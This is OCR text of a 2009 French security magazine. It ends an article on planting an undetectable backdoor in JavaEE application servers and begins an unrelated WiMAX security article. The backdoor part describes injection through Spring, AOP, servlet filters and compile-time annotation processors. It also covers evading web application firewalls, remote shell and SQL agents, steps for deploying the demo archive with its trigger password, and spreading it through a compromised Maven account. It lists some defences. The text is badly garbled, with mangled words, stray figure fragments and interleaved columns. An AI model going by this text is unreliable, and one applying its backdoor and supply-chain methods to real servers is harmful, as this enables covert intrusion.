Nous avons vu précédemment

Framework

qu’il etait possible de contourner

I'invocation de l'analyseur SAX ou
DOM. 11 est donc possible d'enrichir
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ou de modifier un fichier XML de I'application, lors de son trai-
tement par 'analyseur. Comme de nombreux frameworks utili-
sent ce format, il est possible d'injecter de nouveaux parametres
a la volée, avant I'analyse par le framework.

La méme approche peut s’effectuer lors de I'analyse dun
DOM, par exemple lors du paramétrage des logs. Il est possible
de contourner l'initialisation pour supprimer des alertes en
toute discrétion.

3.2.4 Injection par génération

d’« Autoproxy »

Java propose une API particuliere permettant de générer
dynamiquement une classe répondant a une interface précise.
Une instance de cette classe capture toutes les invocations et
peut alors modifier les traitements. La bibliotheque CGLIE pro-
pose un fonctionnement similaire en générant dynamique-
ment une classe héritant dune autre, dont toutes les méthodes
publiques peuvent étre redéfinies. Cette deuxieme approche
permet d'offrir le méme service, sans nécessiter d'interface.

Ces technologies sont utilisées pour générer des auto-
proxies, pour ajouter par exemple des régles de sécurité, de la
gestion des transactions, de la répartition de charge, de la com-
munication a distance type RMI ou CORBA, etc.

3.2.4.1

Injection des singletons

Le priviléege Java2 suppressiccessChecks permet de modifier
les attributs privés. §'il est disponible, il est facile de modifier

des singletons.

Imaginons un singleton porté par une interface. Le singleton
est accessible via la méthode statique TheSingleton.getSingleton(). Il
est également disponible via l'attribut privé TheSingleton. _singleton.
Il est aisé de générer un AutoProxy pour remplacer le singleton,
de modifier directement l'attribut privé et de capturer toutes les
invocations aux méthodes du singleton.

Deux techniques protégent de ces attaques : déclarer l'at-
tribut _singleton en final ou utiliser la sécurité Javaz. Il faut en
effet bénéficier du privilege suppressiccessChecks pour modifier
un attribut prive.

Cela confirme que l'utilisation de singletons présente un

risque pour les projets. L'utilitaire Google Singleton Detector
peut identifier les risques® dans les projets.

3:2:4.2 Injection des composants Spring

Le framework Spring initie les singletons de I'application
a 'aide du concept d’inversion de controle. Linitialisation des
composants de Spring correspond a la création dun groupe de

singletons, liés entre eux.
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Le framework Spring propose différents sous-frameworks
dont une couche MVC (Modéle, Vue, Controleur) permettant de
geérer les requétes Web.

Une des trois approches d'injection consiste a déclarer un
<bean/> implémentant l'interface BeanPostProcessor. Il est alors
possible d'intervenir sur les beans implémentant l'interface
HandlerMapping pour modifier le comportement de la méthode
getHandler{HttpServietRequest request).

Si nous desirons une attaque génerique ne dépendant pas
d'un nom de package spécifique a un projet, il faut modifier
I'analyse du fichier XML a la volée pour y injecter dynamique-
ment la déclaration d'un nouveau <bean/>,

A I'heure ou nous rédigeons ces lignes, cette attaque ne
nécessite aucun privilége particulier pour étre effective. Elle
ne peut étre contrée. Nous proposons une solution et un patch

du JDK6 pour corriger cela.

3.2.5 Injection par déclaration

1

d’« aspect »

La programmation par aspect permet naturellement l'injec-
tion de code dans I'application. Nous avons montré comment
cette technique favorise du code a l'insu du projet. Elle permet
également l'injection de traitements lors des requétes HTTP.
Tous les flux de traitement vers les requétes ou les fichiers
JSP peuvent étre détournés. Ainsi, toutes les servlets et toutes
les JSP du serveur d’applications seront sous le controle de la

porte dérobée.

Il n'existe pas de technologie pour bloquer cette attaque.

3.2.6 Injection Servlet 3.0

Les dernieres spécifications des servlets permettent natu-
rellement l'injection de filtre. Le chargeur de classe d'une
application Web regarde toutes les classes pour y découvrir
éventuellement des annotations.

Lors de la présence d'une annotation E¥ebFilter, ce dernier
est ajouté automatiquement comme s'il était présent dans le
fichier web. xml.

Pour éviter cette découverte automatique des filtres, 1l faut

ajouter le parameétre netadatacomplete dans le fichier web. xml.

3.2.7 Injections lors de la

compilation

Le JSR269 permet d'ajouter des Processors lors de la com-
pilation d’'un code java. A partir de la version 6 de la JVM, sur
la présence d'une annotation, un code Java prend la main lors

de la compilation pour générer d'autres classes ou des fichiers




de ressources. Pour que cela fonctionne, il faut posséder une
archive dans le CLASSPATH, lors de la compilation. Cette derniere
doit présenter le service javax.annotation.processing.Processor.

Avec cette approche, il est possible d'intervenir sur le code
final de I'application, méme avec une archive présente unique-

ment pour les tests unitaires.

Lajout ou la modification de classe est possible. Il est donc
envisageable d'intervenir sur une classe compilée pour modifier
son comportement, soit en injectant du code directement dans la
classe lors de la compilation, soit en replacant tout simplement le
fichier .class.

Lors d'une compilation par Maven ou Ant, par exemple, le pro-
cesseur est invoqué pour compiler les classes du projet et les
classes des tests unitaires. Le processeur peut alors entrer en
action pour intervenir sur le répertoire target, avant la création
de I'archive du projet.

Cette attaque peut étre exploitée pour toute application
Java, et permettre d'injecter une porte dérobée dans une carte
a puce.

Pour interdire cela, il faut ajouter le parametre -proc:none
lors de la compilation.

3.3 Détection de Pouverture

de la porte

Le code de la porte dérobée étant exécuté a -
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Les pare-feu applicatifs détectent :
@ les URL utilisées via une liste blanche ;

— la liste des champs pour chaque URL et les contraintes de
format (chiffre/lettre, taille, etc.) ;

—#l la vitesse des requétes (plus de 120 requétes par minute ou
plus de 360 requétes en cing minutes) ;

—l la taille limite des réponses (512Ko) ;

~M la présence de mots-clefs spécifiques dans les pages de
réponses (liste noire).

La porte dérobée doit contourner toutes ces vérifications.
Pour cela, le filtre utilise une URL standard de I'application,
celle utilisée pour insérer la clef. La requéte d'ouverture est
conforme aux contraintes si le champ choisi pour utiliser la clef

accepte des caracteres et des chiffres.

La communication s'effectue en remplissant un formulaire
avec une valeur spéciale, respectant les contraintes du champ

(type de caractere et taille du champ).

Les agents de la porte dérobée n’utilisent alors que cette
URL, en soumettant toujours le méme formulaire, avec les
mémes valeurs, sauf pour un seul champ qui sert de transport.
Ce dernier ne doit pas violer les contraintes du champ.

Le schéma Figure 4 indique le cheminement de la

communication.

chaque requéte HTTP a l'aide d'une valve Tomcat,
d'un filtre JavaEE, d'une injection AOP, d'un Auto-
Proxy ou d'un interceptor Spring, il est possible
d’'analyser tous les champs des formulaires. Sur
la présence d'une clef dans un champ quelconque
d'un formulaire, la porte dérobée détourne

le traitement.

Nous proposons un code de démonstration de
ces attaques. Il s'agit de placer une simple archive
dans le répertoire NEB-INF/T1b. I1 faut ensuite uti-
liser le mot Macaron en écriture Leet* (« Micirin »)

dans n'importe quel champ de 'application pour

I'exécuter.

3.4 Communication R

discrete e

Maintenant que le flux est détourne, il faut 5:1;;:;

faire preuve de discrétion pour communiquer R
avec la porte dérobée. Le code ne doit pas étre ‘

Pinr pee Dkl d or - Wl e TT-iien
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Halln - Moriis Firetow

Fchipr Fiifen  afechage  Hisfadque  eb0bas HEn
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arm PRAME

T Al

Fowgiraey Sans &

Tomecat Application

détecté par les pare-feu réseau, ni par les pare-
feu applicatifs (WAF).

Fig. 4 : Communication de lu porte dérobee
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Lors de la soumission d'un for-

mulaire, le traitement est détourné :
File

Porte dérobeée dans les serveurs dapplications JavaEE

" Shell - Macaron Backdoor - Mozilla Firefox ool

vers la porte dérobée. Une page Edit View History Bookmarks Jools Heip
specifique est renvoyée. Cette der- & = |0 hﬁﬁ:}ﬂncalhast:ﬂﬂﬁurpf;ciinicfﬁnddﬁﬁéra.dn _ v
nieére communique avec le code de history indi jmx jdbc java shell

i g Shell - Back- ,
la porte dérobée al'aide de requétes . ck-door 8.1

AJAX afin d’injecter dans la page $ pwd
; : /home/demo/backdoor
les résultats des traitements au for- $ who

mat XML.

$ ps

Une écoute des trames réseau PID TTY TIME CMD

lors d'une communication avec la
porte dérobée fait apparaitre des

soumissions réguliéres d'un formu-

5867 pts/@ 00:00:00 ps

laire, dont un seul champ évolue. Si .

la requéte est de type POST, il est
peu probable que cela soit enregis-

tré dans les logs.

Le flux d'émission AJAX est ralenti en termes de trafic
réeseau pour ne pas éveiller les soupcons.

3.5 Les agents

Différents agents sont proposés par la porte dérobée.

~# un agent meémorisant les derniéres requétes sur le serveur :

—# un agent JMX pour manipuler le serveur d'applications ;

4. Démonstration

bash: no job control in this shell

demo tty7 2009-82-17 11:06 (:0)
demo pts/0 2009-82-17 11:86 (:0.8)

4857 pts/0 00:80:00 bash
4996 pts/0 00:00:80 bash
4997 pts/D 00:00:04 java
3808 pts/0 00:00:13 java
5063 pts/@ 00:00:80 bash

Fig. 5 : Shell

ol

-8 un agent JNDI pour consulter I'annuaire de la
configuration ;

—# un agent SQL pour manipuler la base de données ;

—# un agent Java/javascript pour compiler et exécuter dynami-
quement du code sur le serveur ;

~#l et un agent Shell pour s'amuser (Figure 5).

Pour illustrer cette étude, un code de démonstration est
proposé. Il s'agit d'une archive Java a placer dans le répertoire
WEEINF/T7D d'un composant Web. Différentes techniques sont uti-
lisées pour découvrir les vulnérabilités efficaces dans l'environ-

nement dexécution.

Les démonstrations sont toutes fondées sur la méme approche.
Télécharger un composant WAR sur le net, ajouter 'archive de
la porte dérobée dans le répertoire E8-11f/ 110 et installer le com-
posant dans le serveur d’applications.,

Voici des exemples que vous pouvez utiliser :

~#l http://tomcat.apache.org/tomcat-5.5-doc/appdev/
sample/sample.war

-~ http://homepage.ntlworld.com/richard ¢
atkinson/jfreechart/jfreechart-sample.war

~# http://www.springsource.org/download

Apres le téléchargement, utilisez un éditeur d’archives ZIP

ou une console,

40

Misc N™ 45 - Septembre/Octobre 2009

Pour éviter toute utilisation malheureuse du code, ce dernier
ne s'exécute pas si quelques conditions ne sont pas réunies. 11
faut déclarer la variable d'environnement nacaron-backdoor avant

de lancer le serveur d’applications :

Attendez trente secondes que la porte dérobée soit bien

en place, puis, avec un navigateur, consultez le site. Dans un
champ de formulaire, indiquez le mot de passe Micirin ou ajoutez

a 'URL d'une page param=MHicdrin,




| 5. Propagation

Les projets étant de plus en plus dépendants de composants
eux-mémes dépendants d'autres composants, il est souvent dif-
ficile d’ajouter toutes les archives avec les bonnes versions pour

que le projet fonctionne.

Le projet Maven® de la fondation Apache propose de gérer
cela, en permettant a chaque composant de décrire ses dépen-
dances. Un algorithme est alors capable de parcourir le graphe
de dépendance pour sélectionner toutes les archives nécessaires
a un projet. Un référentiel global regroupe toutes les versions
des composants open source.

Pour alimenter le réféerentiel global, il faut démontrer que
l'on est gestionnaire d'un nom de domaine, via 'exposition de
son nom propre sur une page principale du site, puis indiquer
a 'administrateur Maven ot chercher les archives a publier.
Il n'est possible de publier que des composants de ce nom
de domaine.

Le nombre de contributeurs est important. Les archives
récupérees ne sont pas signées électroniquement. En attaquant
le compte d’'un seul contributeur, il est possible d’'ajouter une
dépendance a un des composants. Cela peut seffectuer dans
un gestionnaire de version type CVS ou SVN ou directement a

Conclusion

Nous avons démontré qu'il est possible, en utilisant diffé-
rentes techniques de pieges, d’injections de code ou d'exploita-
tions de priviléges, d'ajouter une porte dérobée invisible dans
un projet JavaEE. Nous avons identifié les stratégies d’attaques.
Nous proposons trois utilitaires permettent d’effectuer un audit
du code, de le renforcer et d'extraire les rares priviléges a accor-
der. Ils sont décrits dans le numéro 119 de GNU/Linux Magazine :

http://macaron.googlecode.com

Dans l'idéal, il faut faire évoluer la culture Java pour que
les projets utilisent le scellement de tous leurs packages et
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la source de récupération du composant par I'administrateur
Maven. Ainsi, la nouvelle dépendance va permettre I'ajout de
I'archive de la porte dérobée dans tous les projets utilisant le
composant vérolé.

Comme nous 'avons démontré, la seule présence d'une
archive permet l'installation d'une porte dérobée. Il faut faire
trés attention a tous les composants externes utilisés par

un projet.

Derniérement, des référentiels ont été victimes d'attaques.
Tous les clients de RedHat ou de Debian en ont été victimes.
Un probléme similaire est arrivé sous Maven®. Cela démontre
la réalité de la menace.

Pour réduire les risques, les composants présents dans le
référentiel Maven devraient tous étre signés numeériquement
par leurs auteurs, ainsi que les fichiers de description des
dépendances. Ainsi, un pirate devra non seulement attaquer
un compte, mais voler et casser la clef privée de 'auteur pour
modifier le composant. Des travaux en ce sens sont en cours’.

La technologie Ivy® s'appuie sur le repository Maven
ou sur d'autres. Ne verifiant pas les signatures, elle est tout

aussi vulnérable.

travaillent systématiquement avec la sécurité Java2 lors des
phases de développement. C'est, entre autres, l'approche prise
par Google pour son hébergement Google App Engine.

La signature des archives et I'audit humain est également un
moyen de protéger les référentiels. Java offre des solutions de
signature, mais elles sont peu utilisées. Pour une plus grande
securité, il faut les exploiter.

Vous trouverez une description plus détaillée sur les
attaques dans le rapport présenté au SSTIC.

1 http://suif.stanford.edu/~livshits/papers/pdf/
thesis.pdf

2 http://java.sun.com/j2se/1.3/does/guide/jar/
jar.html

3 http://code.google.com/p/google-singleton-detector/
4 http://fr.wikipedia.org/wiki/Leet_speak

5 http://maven.apache.org/

6 http://www.nabble.com/Unintended-usage-of-core-
plugin-stubs-td19633933.html

= http://docs.codehaus.org/display/MAVEN/
Repository+Security

8 http://ant.apache.org/ivy/
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RESEAU

Laurent Butti — laurent.butti@orange-ftgroup.com

MECANISMES
DE SECURITE
WIMAX

mots-cles : WiMAX / EAP / sécurité

et article présente les mécanismes de sécurité spécifiés dans les standards
C IEEE 802.16 qui sont plus connus sous la dénomination « WiMAX ». Deux
types de WiMAX existent : le « fixe » et le « mobile » qui se positionnent sur
des usages différents. Ces standards WiMAX présentent des particularites sur les
mécanismes de sécurité que nous détaillerons tout au long de cet article grace a une
analyse comparative. Enfin, nous élargirons le débat sur les probléematiques sécurite
dans le déploiement de ces nouvelles technologies radioélectriques.

1. WIMAX ?

1.1 Introduction

Le WiIMAX (Worldwide Interoperability for
Microwave Access) est une technologie d’'acces

radioelectrique permettant un acces données
double sens a plusieurs méga-bits par seconde sur
une distance de plusieurs kilométres que ce soit
en vue directe ou en vue indirecte. Elle est donc
considérée en tant que Metropolitan Area Network
(MAN) et est positionneée entre le Local Area
Network (LAN) et le Wide Area Network (WAN).

ieee 80215 PAN Bluetooth
uwae

Fig. 1 : Positionnement du WiMAX par rapport aux
normes IEEE

Les déploiements initiaux WiMAX comme —
solution d'accés sans fil large bande (Broadband distance peut étre une alternative sérieuse par rapport aux connec-
Wireless Access) permettent d'ores et déja de four- tivités existantes (filaire, satellite...). La ratification en juin 2004
nir un acces Internet a des zones larges et isolées du standard IEEE 802.16-2004 (WiMAX fixe) a rendu possible le
pour bénéficier de 'ADSL ou du cable, ainsi que de déploiement de ce type de technologie. Déploiements qui ont éte rea-
relier via du sans fil des sites distants de plusieurs lisés avec parcimonie en France, mais aussi dans certains autres pays
kilometres. Cela peut étre le cas dans des zones dans le monde et en particulier dans les pays du continent africain ou
rurales, mais aussi dans des zones (ou pays) qui du Moyen-Orient. Un exemple pratique de déploiement en tant quISP
s'étendent sur de grandes surfaces et, dans ce cas, est l'opérateur américain Clearwire qui propose un acces a Internet

une technologie d'acces radioélectrique a grande pour le résidentiel grace au WiMAX sur la bande 2,5 GHz, et ce,
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dans une trentaine de villes américaines. De la méme maniére,
le WiMAX Forum communique sur le fait qu’il existe plus de
400 déploiements commerciaux dans pres de 140 pays différents.
Tout ceci reste a mesurer, car cette technologie est loin de faire
I'unanimité en termes de retour sur investissement...

Enfin, il faut garder a I'esprit que le role final du WiMAX
est de permettre une connectivité sans fil large bande nomade
et mobile sans requeérir une vue directe avec la station de base.
A cette fin, le consortium IEEE a finalisé une nouvelle mouture
du standard nommeée IEEE 802.16e-2005. Dans cette version
plus évoluée, le WiMAX peut etre vu a la fois comme un comple-
ment et comme un concurrent aux solutions d'acceés 3G. Sur le
plan des mécanismes de sécurité, un certain nombre de défauts
conceptuels de sécurité sont présents dans la norme originelle
IEEE 802.16-2004. La nouvelle norme, IEEE 802.16e-2005,
revoit 'ensemble des mécanismes de sécurité afin de corriger la
majorité des failles identifiées dans la version initiale du WiMAX.

Cet article propose une analyse comparative des méca-
nismes de sécuriteé spéecifiés dans les différentes normes
IEEE 802.16 qui composent le WiMAX.

1.2 Historique

Le groupe de travail 802.16 (WirelessMAN : Standard for
Wireless Metropolitan Area Networks) de '1EEE a approuve son
premier standard en 2001, le IEEE 802.16-2001 (bande 10-66 GHz).
Viennent ensuite plusieurs révisions et évolutions telles que le
IEEE 802.16¢-2002 (criteres de conformité) et le 802.16a-2003
(bande 2-11 GHz), pour enfin arriver aux deux standards majeurs
actuels : le 802.16-2004 (WiMAX « fixe ») et le 802.16e-2005
(WIMAX « mobile »),

Ces standards spécifient la couche PHY en fonction des dif-
férentes bandes de fréquence possibles (telles que les techniques
de modulation) mais aussi la couche MAC ot se retrouvent natu-
rellement les mécanismes d'acces au médium ainsi que les méca-
nismes de sécurité.

1.3 Entites de normalisation

et certification

Les deux organismes que sont I'TEEE et le WiMAX Forum
[ WIMAX] ont des roles bien différents. Le premier s'occupe des
aspects normalisation en specifiant les standards, tandis que le

=
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deuxiéme s'occupe de promouvoir la technologie en définissant
des plans de certification et des profils d’'usage de la technologie.

Les deux approches sont complémentaires et nécessaires au
succes du déploiement d'une technologie. Il suffit de se rappeler
de l'apport de la certification dans le monde du Wi-Fi qui a per-
mis sa démocratisation grace a l'assurance d'interopérabilité ce
qui était loin d'étre le cas au début de cette technologie.

Aujourd’hui, la certification WiMAX est bien avancée car
plus de 9o produits sont certifies WiMAX fixe et WiMAX mobile.
Bien entendu, la certification WiMAX mobile est plus récente et
les premiers produits datent de début 2009 [CERTIF]. A noter
que des acteurs majeurs comme Intel sont présents sur le mar-
ché. En effet, la certification récente du chipset « Intel WiMAX/
WiFi Link 5150 » qui rassemble a la fois les technologies
802.11a/b/g/n (sur les bandes 2,4 GHz et 5 GHz) et 802.16¢ (sur
la bande 2,5 GHz) peut peser dans la progression de la technologie
bien que la difficulté réside bien entendu dans la disponibilité des
infrastructures WiMAX (qui doit étre portée par des opérateurs).

1.4 Les bandes de fréquence

et licences

Les standards WiMAX sont en théorie concus pour fonce-
tionner a des fréquences en dessous de 66 GHz. Le WiMAX

Forum, qui définit des profils d'utilisation, spécifie que les fré-
quences 2,3-2,4 GHz, 2,496-2,600 GHz et 3,4-3,6 GHz peu-
vent étre utilisées. Pour vous donner un apercu de la jungle du
spectre de fréequence, vous pouvez aller jeter un coup d'eeil sur
[FREQ]. Tout ceci pour soulever une réelle problématique des
déploiements WiMAX : la régulation des bandes de fréequence
selon les pays ! En France, la bande de fréquence 3,4-3,6 GHz
a été ouverte a concurrence par F'ARCEP en juillet 2006. Vous
trouverez les résultats d'attribution des licences selon les zones
géographiques sur le site de TARCEP | LICENCES|.

System I’ 'ut"ih~-' l"u..-rli!"u-.-:l'iun Profiles

Mﬂhlle WI M. ’Dﬁ.

IR .:.: " .l {u, it Hl 1“».': purrhl.l,umiumn%;mm._‘I.

siapds 4I. Pl dspiricere D ROL SRR AL | L Ifer i bbb lhﬂ.iﬂ ﬁ: bbb

Mnhﬂe WiM ."1}': 3,4 GHz - 3,6 GHz

Tableau récapitulatif des bandes de fréquence
des profils WiMAX

2. Mécanismes de sécurite des standards 802.16

Les deux normes 802.16-2004 et 802.16e-2005 pré-
sentent des spécificités propres en termes de meéca-
nismes de sécurité. Nous présentons dans ce chapitre une
analyse comparative de ces différences. Nous tenons a

prévenir le lecteur que ces normes définissent des briques
qu'il est difficile de traduire. Par conséquent, nous nous
efforcerons de détailler l'intérét des briques et le niveau de
sécurité attendu.
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Mécanismes de séeurité WiMAX

2.1 WiMAX fixe:
802.16-2004

L'historique de cette norme fait que les mécanismes de

securité présents dans cette révision sont issus des normes
précédentes et en particulier de la [

attendus du certificat de la SS (comme en particulier l'organi-
zationalUnitName qui est « WirelessMAN » ou encore le com-
monName qui est I'adresse MAC de la S§S). En résumé, rajouter
de la sécurité grace a des concepts de PKI ne permet pas de s’af-
franchir des problématiques de gestion de cette infrastructure.

802.16-2001. Depuis cette date-la,
aucune évolution au niveau sécurité
n'est apparue pour le WiMAX fixe.

La norme définit une « Security
Sublayer » qui est composée de la
brique « Privacy Key Management »
(PKM) et de '« Encapsulation
Sublayer ». Les roles de chacune de

ces briques sont relatives a 'authenti-
fication des entités, a la hiérarchie de
clés pour la dérivation des clés d'intégrité et de chiffrement
et aux mécanismes de chiffrement et d'intégrité des données
transportees (et éventuellement du trafic de signalisation).

=.1.1

Privacy Key Management vi

La Subscriber Station (SS) utilise 1a brique PKMv1 afin d'ob-
tenir I'autorisation et une Authorization Key (AK) grice a la
Base Station (BS). Cette procédure est réalisée via une authen-
tification par certificat de la SS aupres de la BS. Nous constatons
déja quil n'y a pas d’authentification mutuelle ce qui peut étre
génant dans une technologie radioélectrique.

Une autre problématique concerne la gestion des certificats
des SS. En effet, la spécification 802.16-2004 —

Cartification
Authority

Manufaclurer
Certificate

S5 Certificale
(Mac address, public key)

Fig. 2 : Chaine de certification

2.1.1.1 Phase d’autorisation

Préalablement, la SS envoie a la BS le cer-
tificat du constructeur de I'équipement qui a
émis le certificat de la SS. Ensuite, la BS stocke
ce certificat (s'il ne I'avait pas déja), ce qui lui
permettra de valider le certificat de la SS.

La SS sollicite une autorisation d'acces
aupres de la BS en envoyant son certificat
1 a la BS. La BS peut alors l'autoriser ou non

et etablir un secret partageé avec la SS.

Ce secret est 'Authorization Key (AK), choisie aléatoirement
par la BS, qui est transportée chiffrée grace a la clé publique
(transmise par la SS) et 'algorithme RSA. Ce processus est

renouvelé périodiquement a l'initiative de la SS en fonction de
la durée de vie de I'Authorization Key.

2.1.1.2 Dérivation de la hierarchie de clés

Grace a I'établissement du secret partagé AK, une hiérarchie
de clé est mise en place afin de dériver la Key Encryption Key
(KEK) utilisée pour le transport d'une clé de chiffrement des com-
munications utilisateurs et des clés d'intégritée (HMAC_KEY)
pour protéger les messages du protocole PKMv1.

reste vague sur le sujet, et, par conséquent,
cette gestion dépend du contexte de déploie-
ment. Il est primordial de savoir comment
gerer I'infrastructure a clé publique (PKI) des
certificats sur les SS (création, révocation...)
avant tout déploiement. Cependant, la section

7.6 de la norme décrit avec précision les champs

KEK
(Kay Encryplion Kay)
128 biis

AK
(Authonzabon Key)
160 bits

HMAC KEY D HMAC_KEY U HMAC KEY S

160 bits 160 bils 168 bits

Fig. 4 : Hierarchie de cles

s

Authorization Information
- Stockage du certificat
55's Manufacturer Certificate Manufaciurer de la 55
Vérification de l'identité
Authorization Request < aclivation de I'AK et
chiffrement avec la clé
S8 Caertificate, Capabilities, SAID publique de la SS

Authorization Reply

Deéchiffrement AK

RSA-Encrypt{PubKey(5S5),AK), Lifetime,
SeqNum, SAIDList

\utorisation de la SS et transport de lAuthorization Key (AK)
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2.1.1.3 Transport de la clé de chiffrement

La KEK va servir de clé de chiffrement pour le transport
de la Trafic Encryption Key (TEK). Cette derniére sera alors
utilisée pour le chiffrement des données utilisateurs. A noter
que la TEK est générée aléatoirement par la BS (!). Deux TEK
sont transmises par la BS, la précedente et la nouvelle, car le
renouvellement est réalisé en fonction de la durée de vie de la
TEK, 1.e. le transport de TEK a donc lieu avant I'expiration de
la durée de vie (en avance de phase). La TEK est de longueur
56 ou 128 bits selon I'algorithme de chiffrement utilisé.

Une deuxieéme probléematique concerne l'utilisation de l'al-
gorithme DES pour les communications utilisateurs qui est
considéré comme non stir aujourd’hui, car atteignable avec des
moyens financiers acceptables. Lutilisation de 'algorithme AES

dépend par contre de I'implémentation.

Une troisieme problematique concerne l'absence de protec-
tion des trames de signalisation pour l'acces au médium. En
effet, perturber la signalisation d'un protocole réseau est tres
intéressant pour un attaquant. Il aurait donc fallu les protéger
du mieux possible.

:

Key Request

Veérification de l'integrite

SegMNum, SAID, HMAC-Digest

Key Reply

Veérification de l'integrite
du message, activation
d'une nouvelle TEK et
envoie de l'ancienne et

du message, -
dechiffrement des TEKs
(ancienne et nouvelle)

SegNum, SAID, OIdTEK, NewTEK, HMAC-Digest

la nouvelle

Fig. 5 : Transport de la Trafic Encryption Key (TEK)

2.1.2

—

Chiffrement des données

Deux algorithmes sont proposés : le DES en mode CBC
(obligatoire) et 'AES en mode CCM (optionnel). Pour avoir un
niveau de sécurité suffisant, il est recommandé d’utiliser AES-
CCM, ce qui revient donc a vérifier la disponibilité de ce méca-
nisme dans les implémentations des SS et BS, car la norme le
spécifie uniquement comme optionnel. En effet, I'algorithme
DES n'est plus recommandé du fait qu'il est atteignable pour
des colits acceptables.

Autre point qu'il ne faut pas négliger en pratique est 'exis-
tence d'un mécanisme de chiffrement NULL qui est souvent
légion. Il faudra étre vigilant dans la configuration des équipe-
ments afin d'éviter tout défaut de configuration qui utiliserait
un mécanisme de chiffrement qui ne chiffre pas !

2.1.3 Problématiques de sécurité

Plusieurs problématiques de sécurité sont identifiables en
lisant les paragraphes précédents. Nous n'exposerons dans cette
partie que les plus critiques.

La premiere problématique concerne l'authentification
uniquement de la SS par la BS. Pour une technologie radioé-
lectrique, il est généralement nécessaire de recourir a une
authentification mutuelle de par la difficulté intrinséque a éviter
les attaques de type Man-in-the-Middle.

il

Une quatriéme problématique concerne les clés AK et TEK
qui sont choisies « aléatoirement » par la BS, ce qui suscite la
suspicion si jamais le générateur pseudo-aléatoire est mal congu
ou biaisé.

Enfin, restent les problématiques classiques de déploiement
que nous avons soulevées dans les parties précédentes : confi-
guration chiffrement NULL, gestion de la PKI...

2.1.4 Conclusions

Le niveau de sécurité réel dépend a la fois du niveau de sécu-
rité théorique (robustesse des mécanismes de sécurité) et de
la capacité a un attaquant de réaliser des attaques (en termes
de cofits financiers). Aujourd’hui, bien que les mécanismes de
securiteé dans 802.16-2004 soient tres perfectibles pour une
technologie radioélectrique, les menaces restent faibles tant que
la technologie ne sera pas démocratisée a un grand nombre.
Rappelons-nous du Wi-Fi ou l'arrivée de certaines cartes Wi-Fi
capables d’écouter et d'injecter des trames arbitraires sur la voie
radioélectrique a permis 4 de nombreuses attaques théoriques
de devenir réalisables. Aujourd’hui, écouter des communica-
tions WiMAX requiert I'achat d’'analyseurs réseau tres coiiteux.
L'injection de trames arbitraires est aussi possible, mais, la
encore, a des coiits tres elevés.

Enfin, il ne faut pas oublier qu'il est possible d'utiliser les
meécanismes de sécurité des couches hautes (telles que IPsec
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ou SSL), afin de sécuriser le transport des données

Supplicant Authentication Authenticator Authentication
sur un support réseau considéré comme friable. Relay Server
Choisir le WiMAX fixe revient done a réaliser une BS NAS AAA AAA

(ASN) (ASN) Proxy(s) Wicoi

analyse de risque classique en fonction du niveau

EAF rinds such s EAPTLS Promcied EAFP[F AR Tunneked TLE] TTLEL EAR & kLA akt

de securité exige par l'architecture a déployer.

H

2.2 WiMAX mobile :

8021

Alith. Raelay Pratocol

AR . Hily
Encapsuaiog Protoo

802.16e-2005

e e e e e R E

Conscient des problematiques de sécurité soule-

vees dans la partie précedente, le groupe de travail

802.16 a rajouté de nouveaux meécanismes de sécurite

a la fois robustes et flexibles pour corriger la majorité des problé-
matiques de sécurité précédemment exposées. Et ce, en plus du
but initial qui etait de rajouter les aspects « mobilité » a la norme
WiMAX. Rappelons ici que rajouter ces aspects a des impacts forts
en termes de qualité de service et de sécurité comme de sassurer
que le handover entre BS soit le plus efficace possible.

La Security Sublayer est similaire a celle de 802.16-2004. Un
nouveau protocole Privacy Key Management (v2) est spécifié de

méme que de nouveaux mécanismes de chiffrement et d'intégrité des
données transportées. Lancien protocole PKMv1 est toujours sup-
porté pour des raisons de compatibilité arriére avec 802.16-2004.

2.2.1 Privacy Key Management v2

Contrairement & PKMv1, cette nouvelle mouture impose une
authentification mutuelle de I'équipement et/ou de 'utilisateur,
ce qui est une excellente e

(S e o e e e e

Fig. 6 : Eléments de !"unm{utm{ 802.16e-2005

Ces deux méthodes d'authentification — RSA et EAP — sont
les sources de dérivation de clés. Les clés qui seront dérivées ser-

vent pour protéger par des verificateurs d'intégrité les échanges
d’authentification suivants, mais aussi pour protéger le transport
de la TEK (qui servira a chiffrer ensuite les données utilisateurs).

Plusieurs possibilités d’authentification sont specifiées dans
la norme : — authentification RSA mutuelle, — authentification
EAP mutuelle, — authentification RSA+EAP mutuelle, — authen-
tification EAP+EAP mutuelle,

Chacune de ces méthodes d’authentification permet de
dériver 'Authorization Key et bien entendu une procédure de
négociation de la méthode d'authentification a lieu avant celle-ci.

Nous ne détaillerons pas tous les mécanismes de sécurité
mis en place qui sont tout de méme trés complexes a détailler et
a justifier dans cet article. Nous nous efforcerons plutét de mon-
trer les bénéfices apportés par les principes de ces mécanismes.

nouvelle pour une techno-
logie radioélectrique. Elle
reprend l'authentification
RSA et rajoute aussi un
protocole de transport
d’authentification tres

a la mode : i
Authentication Protocol \— bas
(EAP). Ce protocole est
utilisé dans les méca-
nismes de sécurité des
réseaux sans-fil 8o2.11 et
apporte une grande flexi-
bilité, car c'est une couche
d’'abstraction pour la
méthode d’authentifica-

tion utilisée (seul le sup-

EItEﬂSibe .::..I- L ki |||II |.1['I|'1 b |
11 ||.

PKM control management

Message authentication

rocessin
PHY SAP iy J

port de EAP est imposé,
quelle que soit la méthode

Scope of IEEE 802.16 specifications

d’authentification sous-

jacente utilisée).

A ¢ A 4 A v AR = A - S - —

— - Scope of recommendations (Out of scope)

Fig. 7 : Brigues fonctionnelles de PKMuv2




2.2.1.1 Authentification RSA mutuelle
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2.2.1.4 Authentification EAP+EAP mutuelle

Lauthentification RSA mutuelle requiert la présence de cer-
tificats a la fois coté SS et coté BS en plus des certificats de la (ou
des) autorité(s) de certification. Le principe est le méme que pour
802.16-2004 sauf qu'une signature RSA de la part de la BS lui per-
met de s'authentifier auprés de la SS. Il faut considérer ce mode
d’authentification comme une amélioration du mode historique
de la brique PKMv1 grace au rajout de l'authentification mutuelle
(qui est nécessaire dans le cadre d'une technologie radioélectrique).

-5 -

Authentification EAP mutuelle

L'authentification EAP mutuelle requiert le choix d'une
méthode d’authentification EAP. En effet, le protocole EAP
permet le transport de la méthode d’authentification : il agit en
tant que relais et permet de rajouter une couche d'abstraction.
Les méthodes d'authentification EAP qui pourront étre choi-
sies ne peuvent qu'étre mutuelles comme I'impose la norme.
En fonction de l'architecture, il est alors possible d'utiliser
des méthodes d'authentification trés variées ce qui confére au
concepteur de la solution une grande flexibilité. Il pourra alors
définir ses criteres de choix de la méthode d’authentification en
fonction de la sécurité, des cotlits de déploiement et de mainte-
